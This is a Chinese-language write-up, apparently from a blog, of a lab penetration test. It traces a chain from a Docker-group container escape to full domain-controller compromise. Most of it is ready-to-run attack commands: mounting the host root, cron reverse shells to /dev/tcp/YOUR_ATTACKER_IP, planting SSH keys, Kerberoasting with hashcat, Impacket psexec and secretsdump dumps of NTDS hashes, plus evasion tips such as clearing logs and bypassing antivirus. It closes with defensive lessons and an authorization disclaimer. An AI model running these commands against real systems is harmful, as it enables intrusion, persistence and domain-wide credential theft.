从Docker容器逃逸到域控攻陷:一次完整的VPC靶场渗透实战复盘
1. 项目概述与核心价值最近在复盘一次内部VPC靶场渗透测试的完整路径从最初一个不起眼的Docker容器权限获取到最终拿下整个域控的完全控制权。整个过程像一场精心设计的“多米诺骨牌”推演环环相扣充满了实战中才会遇到的细节和转折。这次复盘我不仅会梳理清晰的技术脉络更会分享那些在标准教程里找不到的“踩坑”经验和临场判断逻辑。无论你是想巩固从容器到内网的攻击链知识还是希望提升在复杂环境下的横向移动能力这篇实战笔记都能提供一份可复现的“作战地图”。我会附上完整的工具和命令清单你可以直接在自己的实验环境里跟着操作一遍。这个靶场模拟了一个典型的企业开发测试环境一个运行在私有VPC中的Web应用其部分服务被容器化部署。攻击起点是一个存在配置缺陷的Docker容器。我们的目标很明确就是穿透这层“沙箱”进入底层宿主机进而利用内网信任关系最终攻陷作为权限核心的域控制器。整个过程涉及Linux权限提升、容器逃逸、内网信息收集、横向移动、域渗透等多个关键环节是对攻击者综合能力的一次全面检验。2. 环境侦察与初始立足点获取2.1 靶场环境初探与容器内信息收集拿到一个低权限的Shell例如通过Web应用漏洞获得的反弹Shell后首要任务就是搞清楚自己身处何地。在容器内部有几个命令是必须第一时间执行的# 检查当前用户和权限 id whoami # 检查操作系统和内核信息 uname -a cat /etc/os-release # 检查网络配置和当前连接 ip addr netstat -antp cat /etc/hosts # 检查环境变量可能泄露敏感信息 env | grep -i pass env | grep -i key在我的这次实战中id命令显示当前用户是www-data属于docker组。这是一个非常关键的发现。在Linux系统中docker组的成员有权运行Docker命令而Docker守护进程默认以root权限运行。这意味着如果容器内安装了Docker客户端docker命令并且能够与宿主机的Docker守护进程通信我们就有可能从容器内部启动一个新的容器并挂载宿主机根目录从而实现逃逸。注意很多加固过的生产环境容器会刻意不安装Docker客户端或者通过安全策略限制容器与宿主机Docker Socket的通信。但在这个靶场以及很多真实的测试/开发环境中为了方便运维这个配置被保留了。接下来验证Docker客户端的存在和权限# 检查docker命令是否存在及版本 which docker docker --version # 尝试列出当前镜像和容器测试权限 docker images docker ps -a执行docker ps -a时如果成功返回了容器列表不仅证明了命令可用还顺带侦察了当前宿主机上运行的其他容器为后续可能的跨容器攻击提供了信息。2.2 宿主机与网络环境分析容器内的网络环境通常是特殊的。我们需要判断容器是运行在桥接模式、主机模式还是其他网络模式下。# 查看路由表判断网关 route -n # 尝试探测宿主机IP。一个常见的方法是查看默认网关它很可能就是宿主机在容器网络命名空间中的IP。 # 或者通过/proc/net/arp查看ARP表 cat /proc/net/arp # 另一种方法是利用Docker自身的网络信息 # 在容器内宿主机在Docker默认网桥中通常有一个固定别名host.docker.internal或IP 172.17.0.1 ping -c 1 host.docker.internal 2/dev/null || ping -c 1 172.17.0.1通过ip addr我发现容器有一个eth0网卡IP是172.17.0.2网关是172.17.0.1。这证实了是Docker默认的bridge网络模式。ping 172.17.0.1成功说明宿主机网络可达。此时一个清晰的攻击面出现了我们有一个属于docker组的用户可以执行docker命令并且网络可以连通到宿主机Docker守护进程。下一步就是利用这个条件突破容器边界。3. Docker逃逸从容器到宿主机3.1 逃逸原理与方案选择Docker逃逸的核心思路是在容器内利用Docker命令创建一个新的容器并在这个新容器中挂载宿主机的敏感目录如根目录/、/etc、/var/run/docker.sock等然后通过在新容器中执行命令影响宿主机。常见的逃逸方法有几种挂载宿主机根目录新容器挂载/到容器内路径然后通过chroot或直接写文件如写入计划任务、SSH密钥来获取宿主机Shell。挂载Docker SocketDocker守护进程通过Unix Socket (/var/run/docker.sock) 通信。挂载此Socket到容器内就能在容器内直接与守护进程交互相当于拥有了宿主机上的docker权限可以随意创建、控制其他容器实现逃逸。利用特权容器如果当前容器是以--privileged特权模式启动的容器内的进程几乎拥有宿主机root的全部能力可以直接操作宿主机设备、挂载文件系统等。在我们的场景中由于当前用户已在docker组我们可以直接采用方法一它最直接有效。3.2 实战逃逸操作与命令详解逃逸的具体操作如下# 1. 在宿主机上启动一个全新的容器并将宿主机的根目录(/)挂载到容器内的/mnt目录。 # 使用--rm参数让容器退出后自动删除减少痕迹。 # 使用-v进行目录挂载。 # 使用-it分配一个交互式终端。 docker run -it --rm -v /:/mnt alpine:latest /bin/sh命令拆解与原理docker run创建并运行一个新容器。-it-i保持标准输入打开-t分配一个伪终端组合起来让我们可以交互式操作容器。--rm容器退出时自动删除容器文件系统。这是一个好习惯避免留下大量停止的容器引起管理员警觉。-v /:/mnt这是逃逸的关键。将宿主机的根目录/挂载到新容器内的/mnt目录。这样我们在容器内访问/mnt就相当于访问宿主机的整个文件系统。alpine:latest使用一个轻量级的Linux镜像作为新容器的模板。/bin/sh容器启动后执行的命令这里启动一个shell。执行这条命令后我们会获得一个新容器的Shell。在这个Shell里执行ls /mnt你看到的将是宿主机的根目录内容。接下来有两种主要思路在宿主机上建立持久化访问思路A写入SSH公钥如果宿主机开启了SSH服务并且知道root或高权限用户的authorized_keys文件位置这是最优雅的方式。# 在新容器内操作 # 检查宿主机上是否有root用户的.ssh目录没有则创建 ls -la /mnt/root/.ssh 2/dev/null if [ ! -d /mnt/root/.ssh ]; then mkdir -p /mnt/root/.ssh chmod 700 /mnt/root/.ssh fi # 将你的公钥这里需要你提前生成并知道内容写入authorized_keys # 假设你的公钥是 ssh-rsa AAAAB3NzaC1yc2E... userattacker echo ssh-rsa AAAAB3NzaC1yc2E... userattacker /mnt/root/.ssh/authorized_keys chmod 600 /mnt/root/.ssh/authorized_keys # 退出容器容器会自动删除--rm的作用 exit之后你就可以直接从攻击机用对应的私钥SSH到宿主机了。思路B写入计划任务Cron这种方法更通用不依赖SSH。# 在新容器内操作 # 编辑宿主机的root用户的crontab echo * * * * * /bin/bash -c bash -i /dev/tcp/YOUR_ATTACKER_IP/4444 01 /mnt/var/spool/cron/crontabs/root # 或者写入系统级的cron目录 echo * * * * * root /bin/bash -c bash -i /dev/tcp/YOUR_ATTACKER_IP/4444 01 /mnt/etc/cron.d/backdoor # 退出容器 exit实操心得在真实环境中方法ASSH密钥通常更隐蔽因为它混在正常的授权密钥文件中。而计划任务容易被监控脚本发现。无论用哪种一定要先在攻击机上开启监听nc -lvnp 4444。另外写入文件后最好cat一下确认内容正确避免转义字符出错。3.3 逃逸后的宿主机场信息收集成功获得宿主机Shell无论是通过SSH还是反弹Shell后不要急于横向移动先做一次全面的信息收集。# 系统与用户信息 hostname cat /etc/passwd | grep -v nologin\|false cat /etc/group sudo -l # 如果当前用户不是root检查sudo权限 history | tail -50 # 查看历史命令可能有密码、路径等信息 # 网络信息 ip addr netstat -antp arp -a cat /etc/resolv.conf # 查看DNS可能指向内网域控 cat /etc/hosts # 进程与服务 ps auxf systemctl list-units --typeservice --staterunning # 文件与敏感信息查找 find / -name id_rsa -o -name *.pem -o -name *.ppk 2/dev/null # 寻找私钥 find /home /root -name *.txt -o -name *.conf -o -name *.cfg 2/dev/null | head -20 grep -r password\|passwd\|secret\|key /etc /home /root 2/dev/null | grep -v \.git\|binary | head -30在这次靶场中cat /etc/resolv.conf显示DNS服务器是192.168.10.10而cat /etc/hosts里有一条记录192.168.10.10 dc01.corp.local。这是一个黄金信息它指明了域控制器Domain Controller的主机名和IP地址为后续的域渗透指明了方向。同时ip addr显示宿主机有一张内网网卡IP是192.168.10.100属于corp.local域的一个网段。4. 内网横向移动与域环境侦察4.1 基于现有立足点的内网探测现在我们站在了宿主机192.168.10.100这个内网跳板上。目标是域控dc01.corp.local (192.168.10.10)。首先进行基础的存活主机和端口扫描。为了保持低调避免使用大范围的nmapSYN扫描可能触发IDS可以先使用更温和的方式。# 使用ping快速探测C段存活主机ICMP可能被禁 for i in {1..254}; do ping -c 1 -W 1 192.168.10.$i | grep bytes from done # 使用netcat或telnet探测关键端口如域控相关的端口 # 域控常见端口53(DNS), 88(Kerberos), 135(RPC), 139/445(SMB), 389/636(LDAP/LDAPS), 3268/3269(GC) nc -zv 192.168.10.10 53 88 135 139 445 389 636 3268 3269 21 | grep succeeded # 或者使用更专业的工具如果目标环境允许上传的话。例如上传一个静态编译的nmap。 # 上传后扫描 ./nmap -sS -Pn -n --open -p53,88,135,139,445,389,636,3268,3269 192.168.10.10探测结果显示域控192.168.10.10的53(DNS),88(Kerberos),135,445(SMB),389(LDAP)端口都是开放的。这确认了它确实是一台域控制器。4.2 域内信息收集与用户枚举接下来我们需要了解这个域的结构和用户。在没有域凭证的情况下我们可以利用空会话Null Session或一些允许匿名查询的协议来收集信息。使用enum4linux一个Perl脚本常用于SMB枚举# 枚举域控SMB共享、用户、组等信息 enum4linux -a 192.168.10.10 | tee enum4linux.log使用ldapsearch进行LDAP匿名查询如果允许# 匿名查询域根目录信息 ldapsearch -x -H ldap://192.168.10.10 -b dccorp,dclocal | head -100 # 查询所有用户 ldapsearch -x -H ldap://192.168.10.10 -b dccorp,dclocal ((objectClassuser)(objectCategoryperson)) sAMAccountName | grep sAMAccountName在Windows宿主机上如果逃逸后是Windows Server可以使用原生net命令net view /domain # 查看域 net group domain computers /domain # 查看域内计算机 net user /domain # 查看域用户 net group domain admins /domain # 查看域管理员组在我的靶场场景中宿主机是一台加入了域的Windows Server作为应用服务器。通过net user /domain命令我获取到了一个用户列表其中包含一个名为svc_jenkins的服务账户。服务账户往往是渗透测试的突破口因为它们可能被配置了永不过期的密码或者权限过高。4.3 凭证获取与密码破解尝试有了潜在的用户名下一步就是获取密码。在已经取得root权限的宿主机上我们可以尝试多种方法1. 内存凭证提取使用mimikatzWindows或linikatzLinux针对Windows主机内存来提取内存中的明文密码、哈希或票据。# 在Linux上如果宿主机是Windows可以尝试使用linikatz或pypykatz分析内存转储 # 首先需要获取内存转储文件例如通过virsh dump或LiME内核模块实战中较复杂 # 或者如果宿主机上运行了Docker for Windows/WSL可能会有意外收获。 # 更常见的是在Windows宿主机上直接运行mimikatz需上传 # 以管理员权限运行 privilege::debug sekurlsa::logonpasswords2. 查找配置文件中的密码服务账户的密码经常被硬编码在配置文件、脚本或数据库中。# 在宿主机上全局搜索包含关键词的文件 find / -type f \( -name *.xml -o -name *.config -o -name *.properties -o -name *.ini -o -name *.env -o -name *.sh -o -name *.bat -o -name *.ps1 \) 2/dev/null | xargs grep -l -i password\|passwd\|pwd\|svc_jenkins 2/dev/null # 重点检查Web应用目录、Jenkins/CI/CD相关目录、备份目录等 ls -la /var/lib/jenkins/ 2/dev/null find /home -name .ssh -type d 2/dev/null3. 历史命令与缓存检查用户尤其是root、administrator、jenkins等的bash历史、recycle bin等。# 查看历史命令 cat /root/.bash_history cat /home/*/.bash_history 2/dev/null # 在Windows上查看PowerShell历史 type C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2nul在这次实战中我在/var/lib/jenkins/secrets/目录下找到了一个initialAdminPassword文件但这不是我们要的。最终通过深入搜索svc_jenkins在一个旧的部署脚本/opt/deploy/backup/deploy_backup.sh中发现了这样一行REMOTE_USERsvc_jenkins REMOTE_PASSJ3nk!nsS3rv1c3Pss2023!Bingo我们找到了svc_jenkins账户的明文密码。这是一个典型的“配置文件中硬编码密码”的安全漏洞。5. 域内权限提升与域控攻陷5.1 使用获取的凭证进行域内认证现在我们手握域用户svc_jenkins及其密码。首先需要验证凭证的有效性以及该用户的权限。在Linux跳板机上可以使用smbclient或crackmapexec# 使用smbclient尝试列出共享验证凭证 smbclient -L 192.168.10.10 -U corp.local/svc_jenkins%J3nk!nsS3rv1c3Pss2023! # 使用crackmapexec功能更强大可以执行命令、枚举会话等 crackmapexec smb 192.168.10.10 -u svc_jenkins -p J3nk!nsS3rv1c3Pss2023! --shares crackmapexec smb 192.168.10.10 -u svc_jenkins -p J3nk!nsS3rv1c3Pss2023! --users crackmapexec smb 192.168.10.10 -u svc_jenkins -p J3nk!nsS3rv1c3Pss2023! --groupscrackmapexec返回结果显示svc_jenkins用户属于DOMAIN USERS组但不在DOMAIN ADMINS组中。这意味着我们有了一个有效的域账户但还不是域管理员。5.2 权限提升路径探索Kerberoasting攻击在Active Directory中一种常见的权限提升方法是Kerberoasting。它针对的是使用服务主体名称SPN的账户。如果我们可以为某个SPN账户请求服务票据TGS并且该账户使用的是弱密码我们就可以离线破解该票据从而获取该服务账户的密码。步骤1寻找设置了SPN的域账户我们可以使用svc_jenkins的凭证通过LDAP查询所有设置了SPN的用户。# 使用ldapsearch需要安装ldap-utils ldapsearch -x -H ldap://192.168.10.10 -D svc_jenkinscorp.local -w J3nk!nsS3rv1c3Pss2023! -b dccorp,dclocal ((objectClassuser)(servicePrincipalName*)) sAMAccountName servicePrincipalName | grep -A1 sAMAccountName\|servicePrincipalName # 或者使用Impacket工具包中的GetUserSPNs.py更专业 python3 GetUserSPNs.py corp.local/svc_jenkins:J3nk!nsS3rv1c3Pss2023! -dc-ip 192.168.10.10 -requestGetUserSPNs.py脚本会自动请求这些SPN账户的TGS票据并以John the Ripper或Hashcat兼容的格式输出哈希值。运行后我们得到了一个属于用户sql_svc的TGS哈希。步骤2离线破解TGS哈希将得到的哈希保存到文件hash.txt内容类似于$krb5tgs$23$*sql_svc$CORP.LOCAL$corp.local/sql_svc*$HASH_PART...使用hashcat进行破解hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --force或者使用johnjohn --wordlist/usr/share/wordlists/rockyou.txt hash.txt运气不错rockyou.txt字典成功破解出密码Pssw0rd!123。现在我们拥有了sql_svc用户的密码而这个用户很可能拥有更高的权限因为通常数据库服务账户权限不小。5.3 获取域管理员权限与域控控制再次使用crackmapexec验证sql_svc的权限crackmapexec smb 192.168.10.10 -u sql_svc -p Pssw0rd!123 --groups输出显示sql_svc是DOMAIN ADMINS组的成员至此我们拿到了域管理员权限。最终步骤攻陷域控制器拥有域管理员凭证后获取域控的完全控制权就易如反掌了。有多种方法方法A使用PsExec获取ShellImpacket工具包中的psexec.py可以模拟Windows的PsExec在目标机器上执行命令并获得一个半交互式Shell。python3 psexec.py corp.local/sql_svc:Pssw0rd!123192.168.10.10方法B使用WMIExec获取Shellwmiexec.py通过WMI协议执行命令通常比PsExec更隐蔽。python3 wmiexec.py corp.local/sql_svc:Pssw0rd!123192.168.10.10方法C使用SmbExec获取Shellsmbexec.py通过SMB协议创建服务执行命令。python3 smbexec.py corp.local/sql_svc:Pssw0rd!123192.168.10.10方法D转储域控上的所有哈希NTDS.dit这是终极目标之一可以获取域内所有用户的哈希用于持久化或横向移动。# 使用secretsdump.py需要域管理员权限 python3 secretsdump.py corp.local/sql_svc:Pssw0rd!123192.168.10.10 -just-dc-ntlm执行secretsdump.py后我们会得到整个域的NTLM哈希表包括域管理员Administrator的哈希。此时整个域已经彻底沦陷。我们可以使用Administrator的哈希进行“哈希传递”Pass-the-Hash, PtH攻击无需密码即可登录域内任何机器。6. 工具与命令清单速查为了方便复现和参考我将整个攻击链中用到的关键工具和命令整理如下。建议在受控的实验环境中使用。6.1 信息收集与侦察阶段工具/命令用途说明示例容器内id,whoami查看当前用户和组iddocker ps,docker images检查Docker权限和已有容器docker ps -aip addr,cat /etc/hosts查看网络配置ip addr show eth0env,find寻找环境变量或文件中的敏感信息env | grep -i pass宿主机hostname,cat /etc/passwd系统及用户信息cat /etc/passwd | grep -v nologinip addr,netstat网络接口和连接netstat -antpcat /etc/resolv.conf关键查找DNS/域控cat /etc/resolv.confhistory,sudo -l历史命令和sudo权限sudo -l域内nmap,nc端口扫描和服务探测nc -zv 192.168.10.10 445enum4linuxSMB协议枚举用户、组、共享enum4linux -a 192.168.10.10ldapsearchLDAP匿名/认证查询ldapsearch -x -H ldap://... -b dc...net命令 (Windows)Windows原生域信息查询net user /domain6.2 漏洞利用与权限提升阶段工具/命令用途说明示例Docker逃逸docker run -v /:/mnt挂载宿主机根目录实现逃逸docker run -it --rm -v /:/mnt alpine /bin/shdocker run -v /var/run/docker.sock:...挂载Docker Socket逃逸docker run -it -v /var/run/docker.sock:/var/run/docker.sock alpine凭证获取find,grep搜索文件中的密码find / -type f -name *.sh | xargs grep -i passwordmimikatz(Windows)提取内存中的凭证privilege::debugsekurlsa::logonpasswords域渗透crackmapexec多用途SMB工具验证凭证、执行命令等crackmapexec smb IP -u user -p pass --sharesGetUserSPNs.py(Impacket)请求SPN账户的TGS票据用于Kerberoastingpython3 GetUserSPNs.py domain/user:pass -dc-ip IP -requesthashcat/john离线密码破解hashcat -m 13100 hash.txt rockyou.txt横向移动psexec.py(Impacket)类似PsExec的远程命令执行python3 psexec.py domain/user:passIPwmiexec.py(Impacket)通过WMI执行命令较隐蔽python3 wmiexec.py domain/user:passIPsmbexec.py(Impacket)通过SMB执行命令python3 smbexec.py domain/user:passIP域控攻陷secretsdump.py(Impacket)终极武器转储域控NTDS.dit哈希python3 secretsdump.py domain/user:passDC_IP -just-dc-ntlm6.3 防御规避与清理建议蓝队视角作为攻击方在实战中也要考虑规避检测。这里列出一些基础思路供蓝队参考加强防守日志清理在Linux上注意清理/var/log/下的相关日志auth.log, secure等。在Windows上清理事件查看器日志安全、系统、应用风险极高且易触发告警通常不建议。文件时间戳使用touch命令恢复你修改过的系统文件如crontab, authorized_keys的访问/修改时间。隐藏进程避免长时间运行交互式Shell使用短连接或计划任务定时反弹。流量加密使用加密隧道如SSH隧道、HTTPS传输C2流量避免明文协议。工具免杀对上传的二进制工具如mimikatz.exe进行混淆、加壳或使用内存加载Reflective DLL Injection等方式绕过AV/EDR。重要声明以上所有技术仅限在自己拥有完全控制权的实验室环境或获得明确书面授权的渗透测试中使用。未经授权对他人的系统进行测试是违法行为。7. 实战复盘与核心经验总结回顾这条从容器到域控的攻击链成功的关键在于几个环节的薄弱点被串联利用。作为防御方可以从中汲取很多教训1. 容器安全不是孤立的。很多人认为容器逃逸很难但本例中仅仅因为容器内用户属于docker组就导致了整个边界失守。最佳实践遵循最小权限原则绝不在容器内安装Docker客户端或赋予容器内用户Docker相关权限。使用只读根文件系统、非root用户运行容器。2. 内网凭证管理是生命线。svc_jenkins账户的密码被硬编码在脚本中是内网沦陷的起点。最佳实践使用动态凭证如临时令牌、集中化的密钥管理系统如HashiCorp Vault或托管身份服务。定期审计代码和配置文件中的硬编码密码。3. 服务账户是重点攻击面。sql_svc这类服务账户因为设置了SPN且密码强度不足成为了Kerberoasting的牺牲品。最佳实践为服务账户设置极其复杂的密码25位随机并定期更换。考虑使用“组托管服务账户”gMSA其密码由AD自动管理。4. 横向移动检测存在盲区。从192.168.10.100到192.168.10.10的SMB、LDAP、RPC流量在缺乏足够深度检测的内网中可能如入无人之境。最佳实践部署网络检测与响应NDR系统在内网关键节点监测异常登录行为如非工作时间登录、陌生IP登录、Kerberos TGS请求暴增Kerberoasting特征以及PsExec/WMI/SMBExec等远程管理工具的使用。对于攻击方红队而言这次实战也强化了几个核心思维链条思维不要只看一个点。容器逃逸不是终点而是进入内网新天地的起点。要持续思考“拿到这个权限后我能看到什么能走到哪里”信息优先渗透测试中信息收集的价值永远排第一。一个DNS地址、一个用户名、一个配置文件路径都可能成为打开下一扇门的钥匙。要有耐心做地毯式搜索。权限转换www-data-root(宿主机) -svc_jenkins(域用户) -sql_svc(域管理员)。每一次权限提升都是攻击面的指数级扩大。要熟练掌握不同环境Linux/Windows 工作组/域下的权限提升技巧。工具熟练度docker、crackmapexec、Impacket套件、hashcat这些工具就像士兵的枪必须了如指掌。但更要理解其背后的协议原理如SMB、Kerberos这样才能在工具失效时自己找到出路。最后附上我在自己实验室复现这个靶场时用的一个快速命令备忘录它帮我理清了各个阶段的核心操作避免在复杂的流程中迷失方向。真正的实战远比靶场复杂但扎实的基础和清晰的思路是应对一切不确定性的最好准备。

相关新闻

个人量化行情数据源排行榜:AkShare、Tushare、Massive、TickDB、Wind、mootdx,四种场景下怎么选?

个人量化行情数据源排行榜:AkShare、Tushare、Massive、TickDB、Wind、mootdx,四种场景下怎么选?

一个数据源的综合排名,只能回答“个人量化用户第一次该优先评估谁”。真正开始做研究、回测、实时监控或 AI Agent 后,榜单必须按任务重排。 本文先给出面向个人量化用户的综合推荐榜,再按四种任务重新排序。比较时主要看:任务适…

2026/7/31 8:18:38 阅读更多 →
RePKG终极指南:3步解锁Wallpaper Engine资源宝库的完整教程

RePKG终极指南:3步解锁Wallpaper Engine资源宝库的完整教程

RePKG终极指南:3步解锁Wallpaper Engine资源宝库的完整教程 【免费下载链接】repkg Wallpaper engine PKG extractor/TEX to image converter 项目地址: https://gitcode.com/gh_mirrors/re/repkg 你是否曾对Wallpaper Engine中那些令人惊艳的动态壁纸感到好…

2026/7/31 8:17:38 阅读更多 →
5分钟极速配置:OpCore-Simplify智能OpenCore EFI生成工具完全指南

5分钟极速配置:OpCore-Simplify智能OpenCore EFI生成工具完全指南

5分钟极速配置:OpCore-Simplify智能OpenCore EFI生成工具完全指南 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify 想在普通PC上安装macOS却…

2026/7/31 8:17:38 阅读更多 →

最新新闻

C++字符串分割:从标准库缺失到高性能实现方案全解析

C++字符串分割:从标准库缺失到高性能实现方案全解析

1. 项目概述:为什么C标准库没有split? 这个问题,估计每个从Python、Java或者C#转过来的C开发者,都曾在某个深夜对着屏幕发出过灵魂拷问。别的语言里,一句 str.split(",") 就能优雅搞定的事情,怎…

2026/7/31 8:59:55 阅读更多 →
好用的AI抢位系统哪个公司好

好用的AI抢位系统哪个公司好

在当下AI浪潮里,大家都想让自己的品牌在AI的世界里崭露头角,所以对AI抢位系统的需求也日益增长。我深耕AI抢位系统垂类5年了,也有10w 爆款作品的经验,今天就跟大家好好唠唠这个事儿。现在很多企业在AI时代都面临着不少痛点。首先是…

2026/7/31 8:59:55 阅读更多 →
猫抓开源工具:浏览器资源嗅探的终极解决方案

猫抓开源工具:浏览器资源嗅探的终极解决方案

猫抓开源工具:浏览器资源嗅探的终极解决方案 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 你是否曾经在浏览网页时,看到一…

2026/7/31 8:59:55 阅读更多 →
数字电源采样频率设计:从同步采样到多采样进阶

数字电源采样频率设计:从同步采样到多采样进阶

1. 项目概述:一个看似简单却至关重要的设计抉择在数字开关电源的设计里,有一个参数设定几乎是所有工程师入行后不久就会接触到的“金科玉律”:将控制环路的采样频率(或者说数字脉宽调制器的更新频率)设置为与功率级的开…

2026/7/31 8:59:55 阅读更多 →
玉米生育期精准记录:从田间观测到农事决策的完整指南

玉米生育期精准记录:从田间观测到农事决策的完整指南

1. 项目概述:为什么我们需要记录玉米生育期?种玉米,看起来是“春种一粒粟,秋收万颗子”的简单循环,但真干起来,你会发现从种子落地到棒子归仓,中间每一步都藏着大学问。我在地头跑了十几年&…

2026/7/31 8:59:55 阅读更多 →
C#中Math.Atan与Math.Atan2的区别:从坐标转换Bug到全象限角度计算

C#中Math.Atan与Math.Atan2的区别:从坐标转换Bug到全象限角度计算

1. 从一次坐标转换的Bug说起:为什么Atan不够用? 前几天在做一个工业上位机的运动控制模块时,遇到了一个让我调试了半天的“灵异”问题。场景很简单:我需要根据一个二维平面上的坐标点 (x, y) ,计算出机械臂末端执行器…

2026/7/31 8:58:54 阅读更多 →

日新闻

物理复制比逻辑复制好在哪?数据库复制原理详解

物理复制比逻辑复制好在哪?数据库复制原理详解

数据库复制是把主库数据同步到备库的机制,分为逻辑复制和物理复制两种。逻辑复制传输的是 SQL 语句或行变更事件,物理复制传输的是存储引擎底层的物理日志。阿里云 PolarDB(云原生数据库)采用物理复制,在同步延迟、数据…

2026/7/31 0:00:34 阅读更多 →
BilibiliDown:3分钟学会B站视频下载的终极指南

BilibiliDown:3分钟学会B站视频下载的终极指南

BilibiliDown:3分钟学会B站视频下载的终极指南 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器。支持稍后再看、收藏夹、UP主视频批量下载|Bilibili Video Downloader 😳 项目地址: https://gitcode.com/gh_mirrors/bi/Bilib…

2026/7/31 0:00:34 阅读更多 →
有哪些游戏数据AI平台?游戏行业Data+AI融合方案盘点

有哪些游戏数据AI平台?游戏行业Data+AI融合方案盘点

当前,游戏行业的“DataAI融合”已从概念验证进入价值落地阶段。根据IDC 2025年数据,中国AI游戏云市场规模已达18.6亿元;同时,游戏研发环节AI渗透率高达86%,生成式AI内容普及率超过50%。面对庞大的市场,游戏…

2026/7/31 0:00:34 阅读更多 →

周新闻

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 数据集6000张 完整源码已标注数据集训练好的模型环境配置教程程序运行说明文档,可以直接使用!系统支持图片、视频、摄像头等多种方式检测裂缝,功能强大实用。 1数据集6000张 8各类别

2026/7/31 1:03:03 阅读更多 →
深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

pubg数据集 精选原图1.42万数据 1.49万标签 无任何重复、算法增强或冗余图像! pubg绝地求生目标检测数据集 1分类:e_body,14905个标签,txt格式 共计14244张图,99%为640*640尺寸图像 适合yolo目标检测、AI训练关键词&am…

2026/7/29 14:34:28 阅读更多 →
Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex检测数据集数据集详情检测类别: allies enemy tag图片总量:7247张训练集:5139张验证集:1425张测试集:683张标注状态:全部已标注,即拿即用数据格式:支持YOLO格式及其他格式&#…

2026/7/31 4:19:39 阅读更多 →

月新闻